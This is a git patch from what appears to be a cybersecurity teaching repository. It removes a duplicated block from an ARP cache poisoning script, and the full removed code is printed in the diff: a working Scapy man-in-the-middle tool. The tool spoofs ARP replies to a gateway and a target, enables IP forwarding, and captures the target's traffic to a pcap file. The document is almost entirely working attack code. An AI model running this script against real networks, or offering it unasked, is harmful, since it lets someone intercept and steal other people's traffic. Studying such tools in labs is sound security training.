From 6eac37fe81e9fa732ac8d9623788012b1a021b91 Mon Sep 17 00:00:00 2001 From: Omar Santos Date: Mon, 3 Jul 2023 13:58:20 -0400 Subject: [PATCH] Update arp_cache_poisoner.py --- .../exploitation/arp_cache_poisoner.py | 81 ------------------- 1 file changed, 81 deletions(-) diff --git a/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py index 2c090b7..15ae0f0 100644 --- a/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py +++ b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py @@ -92,84 +92,3 @@ except KeyboardInterrupt: sys.exit(0) -from scapy.all import * -import os -import signal -import sys -import threading -import time - -#network and interface parameters -gateway_ip = "192.168.78.1" -target_ip = "192.168.78.123" -packet_count = 1000 -conf.iface = "en0" -conf.verb = 0 - -# Once given an IP address, it will try to find a MAC address. -def get_mac(ip_address): - #An alternate method is using Layer 2: resp, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=ip_address)) - resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10) - for s,r in resp: - return r[ARP].hwsrc - return None - -#Restore the network by reversing the ARP poison attack. Broadcast ARP Reply with -def restore_network(gateway_ip, gateway_mac, target_ip, target_mac): - send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5) - send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5) - print("[*] Disabling IP forwarding") - #Disable IP Forwarding on a mac - os.system("sysctl -w net.inet.ip.forwarding=0") - #kill process on a mac - os.kill(os.getpid(), signal.SIGTERM) - -def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac): - print("[*] Started ARP poison attack [CTRL-C to stop]") - try: - while True: - send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip)) - send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip)) - time.sleep(2) - except KeyboardInterrupt: - print("[*] Stopped ARP poison attack. Restoring network") - restore_network(gateway_ip, gateway_mac, target_ip, target_mac) - - -print("[*] Starting arp_cache_poisoner") -print("[*] Enabling IP forwarding") - -os.system("sysctl -w net.inet.ip.forwarding=1") -print(f"[*] Gateway IP address: {gateway_ip}") -print(f"[*] Target IP address: {target_ip}") - -gateway_mac = get_mac(gateway_ip) -if gateway_mac is None: - print("[!] Unable to get gateway MAC address. Exiting..") - sys.exit(0) -else: - print(f"[*] Gateway MAC address: {gateway_mac}") - -target_mac = get_mac(target_ip) -if target_mac is None: - print("[!] Unable to get target MAC address. Exiting..") - sys.exit(0) -else: - print(f"[*] Target MAC address: {target_mac}") - -#ARP poison thread -poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac)) -poison_thread.start() - -#Collect packet captures and save it to a file -try: - sniff_filter = "ip host " + target_ip - print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}") - packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count) - wrpcap(target_ip + "_capture.pcap", packets) - print(f"[*] Stopping network capture..Restoring network") - restore_network(gateway_ip, gateway_mac, target_ip, target_mac) -except KeyboardInterrupt: - print(f"[*] Stopping network capture..Restoring network") - restore_network(gateway_ip, gateway_mac, target_ip, target_mac) - sys.exit(0)